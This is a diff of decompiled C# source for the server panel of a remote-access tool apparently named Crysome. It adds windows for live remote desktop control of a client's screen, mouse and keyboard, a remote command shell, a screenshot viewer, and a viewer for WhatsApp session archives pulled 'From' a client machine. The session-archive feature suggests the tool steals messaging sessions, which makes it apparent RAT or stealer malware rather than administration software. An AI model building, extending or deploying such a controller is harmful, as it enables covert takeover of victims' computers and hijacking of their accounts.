|
||||
internal Border DesktopArea;
|
||||
|
||||
internal Viewbox DesktopViewbox;
|
||||
|
||||
internal Image DesktopImage;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
internal TextBlock QualityText;
|
||||
|
||||
internal ToggleSwitch MouseControlSwitch;
|
||||
|
||||
internal ToggleSwitch KeyboardControlSwitch;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteDesktopWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Desktop — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
// Find the parent of ScreenCombo to insert our capture mode combo
|
||||
var screenParent = System.Windows.Media.VisualTreeHelper.GetParent(ScreenCombo) as System.Windows.Controls.Panel;
|
||||
if (screenParent != null)
|
||||
{
|
||||
_captureModeCombo = new System.Windows.Controls.ComboBox();
|
||||
_captureModeCombo.Items.Add("Auto (DXGI → GDI+)");
|
||||
_captureModeCombo.Items.Add("DXGI Only");
|
||||
_captureModeCombo.Items.Add("GDI+ Only");
|
||||
_captureModeCombo.SelectedIndex = 0;
|
||||
_captureModeCombo.Width = 160;
|
||||
_captureModeCombo.Margin = new Thickness(8, 0, 0, 0);
|
||||
// Insert after ScreenCombo
|
||||
int idx = screenParent.Children.IndexOf(ScreenCombo);
|
||||
if (idx >= 0)
|
||||
screenParent.Children.Insert(idx + 1, _captureModeCombo);
|
||||
else
|
||||
screenParent.Children.Add(_captureModeCombo);
|
||||
}
|
||||
((UIElement)this).AddHandler(UIElement.PreviewKeyDownEvent, (Delegate)new KeyEventHandler(OnPreviewKeyDown), true);
|
||||
((UIElement)this).AddHandler(UIElement.PreviewKeyUpEvent, (Delegate)new KeyEventHandler(OnPreviewKeyUp), true);
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
if (_renderHooked)
|
||||
{
|
||||
_renderHooked = false;
|
||||
System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
|
||||
}
|
||||
if (_streaming)
|
||||
{
|
||||
_vm.StopRemoteDesktop(_client);
|
||||
}
|
||||
_vm.UnregisterDesktopFrames(_client);
|
||||
try { _decodeBitmap?.Dispose(); } catch { }
|
||||
};
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
RequestScreenList();
|
||||
};
|
||||
}
|
||||
|
||||
private void RequestScreenList()
|
||||
{
|
||||
ScreenCombo.Items.Clear();
|
||||
ScreenCombo.Items.Add("Loading...");
|
||||
ScreenCombo.SelectedIndex = 0;
|
||||
ScreenCombo.IsEnabled = false;
|
||||
_vm.GetScreens(_client, delegate(ScreensResponsePacket resp)
|
||||
{
|
||||
_screens = ((resp != null) ? resp.Screens : null);
|
||||
ScreenCombo.Items.Clear();
|
||||
if (_screens == null || _screens.Length == 0)
|
||||
{
|
||||
ScreenCombo.Items.Add("Primary (default)");
|
||||
ScreenCombo.SelectedIndex = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int i = 0; i < _screens.Length; i++)
|
||||
{
|
||||
ScreenInfo val = _screens[i];
|
||||
string text = "Screen " + (i + 1) + " (" + val.Width + "x" + val.Height + ")";
|
||||
if (val.IsPrimary)
|
||||
{
|
||||
text += " ★";
|
||||
}
|
||||
ScreenCombo.Items.Add(text);
|
||||
}
|
||||
for (int j = 0; j < _screens.Length; j++)
|
||||
{
|
||||
if (_screens[j].IsPrimary)
|
||||
{
|
||||
ScreenCombo.SelectedIndex = j;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ScreenCombo.SelectedIndex < 0)
|
||||
{
|
||||
ScreenCombo.SelectedIndex = 0;
|
||||
}
|
||||
}
|
||||
ScreenCombo.IsEnabled = true;
|
||||
});
|
||||
}
|
||||
|
||||
private int GetSelectedScreenIndex()
|
||||
{
|
||||
if (_screens == null || _screens.Length == 0)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
int selectedIndex = ScreenCombo.SelectedIndex;
|
||||
if (selectedIndex < 0 || selectedIndex >= _screens.Length)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
return selectedIndex;
|
||||
}
|
||||
|
||||
private void OnPreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
|
||||
{
|
||||
int num = KeyInterop.VirtualKeyFromKey(e.Key);
|
||||
if (num >= 0 && num <= 255)
|
||||
{
|
||||
_vm.SendRemoteInput(_client, 3, 0, 0, num);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OnPreviewKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
|
||||
{
|
||||
int num = KeyInterop.VirtualKeyFromKey(e.Key);
|
||||
if (num >= 0 && num <= 255)
|
||||
{
|
||||
_vm.SendRemoteInput(_client, 4, 0, 0, num);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_streaming = true;
|
||||
((UIElement)(object)StartBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopBtn).IsEnabled = true;
|
||||
ScreenCombo.IsEnabled = false;
|
||||
byte captureMode = (byte)(_captureModeCombo?.SelectedIndex ?? 0);
|
||||
string modeName = captureMode == 1 ? "DXGI" : captureMode == 2 ? "GDI+" : "Auto";
|
||||
StatusText.Text = $"Streaming ({modeName})... Click on image to control mouse/keyboard.";
|
||||
QualityText.Text = "Quality: HD (80)";
|
||||
DesktopArea?.Focus();
|
||||
int selectedScreenIndex = GetSelectedScreenIndex();
|
||||
if (!_renderHooked)
|
||||
{
|
||||
_renderHooked = true;
|
||||
System.Windows.Media.CompositionTarget.Rendering += OnVsyncRender;
|
||||
}
|
||||
_vm.StartRemoteDesktop(_client, 16, selectedScreenIndex, captureMode, delegate(byte[] imageData)
|
||||
{
|
||||
if (imageData != null && imageData.Length > 0)
|
||||
_latestJpeg = imageData;
|
||||
}, delegate(int quality)
|
||||
{
|
||||
string text = ((quality >= 70) ? "HD" : ((quality >= 50) ? "Medium" : ((quality >= 35) ? "Low" : "Very Low")));
|
||||
int num = ((quality >= 80) ? 30 : ((quality >= 65) ? 10 : ((quality >= 50) ? 5 : ((quality >= 35) ? 3 : 2))));
|
||||
QualityText.Text = "Quality: " + text + " (" + quality + " / " + num + " fps)";
|
||||
});
|
||||
}
|
||||
|
||||
private void OnVsyncRender(object sender, EventArgs e)
|
||||
{
|
||||
if (!_streaming)
|
||||
return;
|
||||
|
||||
byte[] jpeg = _latestJpeg;
|
||||
if (jpeg == null)
|
||||
return;
|
||||
_latestJpeg = null;
|
||||
|
||||
try
|
||||
{
|
||||
using (var ms = new MemoryStream(jpeg))
|
||||
{
|
||||
var bmp = _decodeBitmap;
|
||||
if (bmp != null)
|
||||
{
|
||||
try { bmp.Dispose(); } catch { }
|
||||
}
|
||||
_decodeBitmap = new System.Drawing.Bitmap(ms);
|
||||
bmp = _decodeBitmap;
|
||||
|
||||
int w = bmp.Width;
|
||||
int h = bmp.Height;
|
||||
|
||||
if (_writeableBitmap == null || _writeableBitmap.PixelWidth != w || _writeableBitmap.PixelHeight != h)
|
||||
{
|
||||
_writeableBitmap = new System.Windows.Media.Imaging.WriteableBitmap(
|
||||
w, h, 96, 96, System.Windows.Media.PixelFormats.Bgr24, null);
|
||||
DesktopImage.Source = _writeableBitmap;
|
||||
_remoteWidth = w;
|
||||
_remoteHeight = h;
|
||||
}
|
||||
|
||||
var bmpData = bmp.LockBits(
|
||||
new System.Drawing.Rectangle(0, 0, w, h),
|
||||
System.Drawing.Imaging.ImageLockMode.ReadOnly,
|
||||
System.Drawing.Imaging.PixelFormat.Format24bppRgb);
|
||||
|
||||
_writeableBitmap.Lock();
|
||||
try
|
||||
{
|
||||
IntPtr src = bmpData.Scan0;
|
||||
IntPtr dst = _writeableBitmap.BackBuffer;
|
||||
int srcStride = bmpData.Stride;
|
||||
int dstStride = _writeableBitmap.BackBufferStride;
|
||||
|
||||
if (srcStride == dstStride)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
Buffer.MemoryCopy((void*)src, (void*)dst, dstStride * h, srcStride * h);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int copyLen = Math.Min(srcStride, dstStride);
|
||||
for (int y = 0; y < h; y++)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
Buffer.MemoryCopy(
|
||||
(byte*)src + y * srcStride,
|
||||
(byte*)dst + y * dstStride,
|
||||
copyLen, copyLen);
|
||||
}
|
||||
}
|
||||
}
|
||||
_writeableBitmap.AddDirtyRect(new System.Windows.Int32Rect(0, 0, w, h));
|
||||
}
|
||||
finally
|
||||
{
|
||||
_writeableBitmap.Unlock();
|
||||
bmp.UnlockBits(bmpData);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_streaming = false;
|
||||
((UIElement)(object)StartBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopBtn).IsEnabled = false;
|
||||
ScreenCombo.IsEnabled = true;
|
||||
_vm.StopRemoteDesktop(_client);
|
||||
_vm.UnregisterDesktopFrames(_client);
|
||||
if (_renderHooked)
|
||||
{
|
||||
_renderHooked = false;
|
||||
System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
|
||||
}
|
||||
_latestJpeg = null;
|
||||
try { _decodeBitmap?.Dispose(); } catch { }
|
||||
_decodeBitmap = null;
|
||||
_writeableBitmap = null;
|
||||
DesktopImage.Source = null;
|
||||
StatusText.Text = "Stopped.";
|
||||
QualityText.Text = "";
|
||||
}
|
||||
|
||||
private void MinimizeBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).WindowState = WindowState.Minimized;
|
||||
}
|
||||
|
||||
private void MaximizeBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (((Window)this).WindowState == WindowState.Maximized)
|
||||
{
|
||||
((Window)this).WindowState = WindowState.Normal;
|
||||
((ContentControl)(object)MaximizeBtn).Content = "□";
|
||||
((FrameworkElement)(object)MaximizeBtn).ToolTip = "Maximize";
|
||||
}
|
||||
else
|
||||
{
|
||||
((Window)this).WindowState = WindowState.Maximized;
|
||||
((ContentControl)(object)MaximizeBtn).Content = "❒";
|
||||
((FrameworkElement)(object)MaximizeBtn).ToolTip = "Restore";
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ImageToRemoteCoords(Point p, out int x, out int y)
|
||||
{
|
||||
double actualWidth = DesktopViewbox.ActualWidth;
|
||||
double actualHeight = DesktopViewbox.ActualHeight;
|
||||
if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
|
||||
{
|
||||
x = 0;
|
||||
y = 0;
|
||||
return;
|
||||
}
|
||||
double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
|
||||
double num2 = (double)_remoteWidth * num;
|
||||
double num3 = (double)_remoteHeight * num;
|
||||
double num4 = (actualWidth - num2) / 2.0;
|
||||
double num5 = (actualHeight - num3) / 2.0;
|
||||
x = (int)((p.X - num4) / num);
|
||||
y = (int)((p.Y - num5) / num);
|
||||
if (x < 0)
|
||||
{
|
||||
x = 0;
|
||||
}
|
||||
if (x >= _remoteWidth)
|
||||
{
|
||||
x = _remoteWidth - 1;
|
||||
}
|
||||
if (y < 0)
|
||||
{
|
||||
y = 0;
|
||||
}
|
||||
if (y >= _remoteHeight)
|
||||
{
|
||||
y = _remoteHeight - 1;
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopImage_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
DateTime utcNow = DateTime.UtcNow;
|
||||
if (!((utcNow - _lastMouseMove).TotalMilliseconds < 16.0))
|
||||
{
|
||||
_lastMouseMove = utcNow;
|
||||
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
|
||||
_vm.SendRemoteInput(_client, 0, x, y, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopImage_MouseDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
|
||||
int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
|
||||
_vm.SendRemoteInput(_client, 1, x, y, buttonOrKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopImage_MouseUp(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
|
||||
int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
|
||||
_vm.SendRemoteInput(_client, 2, x, y, buttonOrKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopArea_Focus(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
DesktopArea?.Focus();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotedesktopwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0087: Expected O, but got Unknown
|
||||
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ab: Expected O, but got Unknown
|
||||
//IL_00c5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00cf: Expected O, but got Unknown
|
||||
//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00f3: Expected O, but got Unknown
|
||||
//IL_010d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0117: Expected O, but got Unknown
|
||||
//IL_01fc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0206: Expected O, but got Unknown
|
||||
//IL_0209: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0213: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
ScreenCombo = (ComboBox)target;
|
||||
break;
|
||||
case 4:
|
||||
StartBtn = (Button)target;
|
||||
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
StopBtn = (Button)target;
|
||||
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
MinimizeBtn = (Button)target;
|
||||
((ButtonBase)(object)MinimizeBtn).Click += MinimizeBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
MaximizeBtn = (Button)target;
|
||||
((ButtonBase)(object)MaximizeBtn).Click += MaximizeBtn_Click;
|
||||
break;
|
||||
case 8:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 9:
|
||||
DesktopArea = (Border)target;
|
||||
DesktopArea.MouseLeftButtonDown += DesktopArea_Focus;
|
||||
break;
|
||||
case 10:
|
||||
DesktopViewbox = (Viewbox)target;
|
||||
break;
|
||||
case 11:
|
||||
DesktopImage = (Image)target;
|
||||
DesktopImage.MouseMove += DesktopImage_MouseMove;
|
||||
DesktopImage.MouseLeftButtonDown += DesktopImage_MouseDown;
|
||||
DesktopImage.MouseLeftButtonUp += DesktopImage_MouseUp;
|
||||
DesktopImage.MouseRightButtonDown += DesktopImage_MouseDown;
|
||||
DesktopImage.MouseRightButtonUp += DesktopImage_MouseUp;
|
||||
break;
|
||||
case 12:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
case 13:
|
||||
QualityText = (TextBlock)target;
|
||||
break;
|
||||
case 14:
|
||||
MouseControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 15:
|
||||
KeyboardControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteShellWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TextBox OutputBox;
|
||||
|
||||
internal TextBox CommandBox;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteShellWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Shell — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
AppendOutput("Remote shell ready. Type a command and press Enter or click Send.\r\n");
|
||||
CommandBox.Focus();
|
||||
}
|
||||
|
||||
private void AppendOutput(string text)
|
||||
{
|
||||
OutputBox.AppendText(text);
|
||||
OutputBox.ScrollToEnd();
|
||||
}
|
||||
|
||||
private void SendCommand()
|
||||
{
|
||||
string text = (CommandBox.Text ?? "").Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
CommandBox.Clear();
|
||||
AppendOutput("> " + text + "\r\n");
|
||||
_vm.SendShellCommand(_client, text, delegate(string output)
|
||||
{
|
||||
AppendOutput(output + "\r\n");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void SendBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
SendCommand();
|
||||
}
|
||||
|
||||
private void CommandBox_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Invalid comparison between Unknown and I4
|
||||
if ((int)e.Key == 6)
|
||||
{
|
||||
e.Handled = true;
|
||||
SendCommand();
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteshellwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_004c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0056: Expected O, but got Unknown
|
||||
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00b6: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
OutputBox = (TextBox)target;
|
||||
break;
|
||||
case 5:
|
||||
CommandBox = (TextBox)target;
|
||||
CommandBox.KeyDown += CommandBox_KeyDown;
|
||||
break;
|
||||
case 6:
|
||||
((ButtonBase)(Button)target).Click += SendBtn_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ScreenshotViewerWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal Image ScreenshotImage;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public ScreenshotViewerWindow(string title, byte[] imageData)
|
||||
{
|
||||
InitializeComponent();
|
||||
((Window)this).Title = title ?? "Screenshot";
|
||||
TitleText.Text = title ?? "Screenshot";
|
||||
if (imageData != null && imageData.Length != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(imageData);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
ScreenshotImage.Source = bitmapImage;
|
||||
StatusText.Text = $"{bitmapImage.PixelWidth} × {bitmapImage.PixelHeight}";
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Failed to load image: " + ex.Message;
|
||||
return;
|
||||
}
|
||||
}
|
||||
StatusText.Text = "No image data received.";
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/screenshotviewerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0045: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004f: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
ScreenshotImage = (Image)target;
|
||||
break;
|
||||
case 5:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class SettingsTab : UserControl, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public SettingsTab()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/settingstab.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class WhatsAppSessionWindow : Window, IComponentConnector
|
||||
{
|
||||
private readonly string _zipPath;
|
||||
|
||||
internal TextBlock SubtitleText;
|
||||
|
||||
internal TextBlock ClientLabel;
|
||||
|
||||
internal TextBlock SizeLabel;
|
||||
|
||||
internal TextBlock PathLabel;
|
||||
|
||||
internal Button OpenFolderBtn;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public WhatsAppSessionWindow(string zipPath, string clientName, long sizeBytes)
|
||||
{
|
||||
InitializeComponent();
|
||||
_zipPath = zipPath;
|
||||
SubtitleText.Text = "From " + clientName;
|
||||
ClientLabel.Text = clientName;
|
||||
SizeLabel.Text = $"{(double)sizeBytes / 1024.0 / 1024.0:F2} MB ({sizeBytes:N0} bytes)";
|
||||
PathLabel.Text = zipPath;
|
||||
PathLabel.ToolTip = zipPath;
|
||||
}
|
||||
|
||||
private void OpenFolderBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
string directoryName = Path.GetDirectoryName(_zipPath);
|
||||
if (Directory.Exists(directoryName))
|
||||
{
|
||||
Process.Start("explorer.exe", directoryName);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show("Cannot open folder: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
Close();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
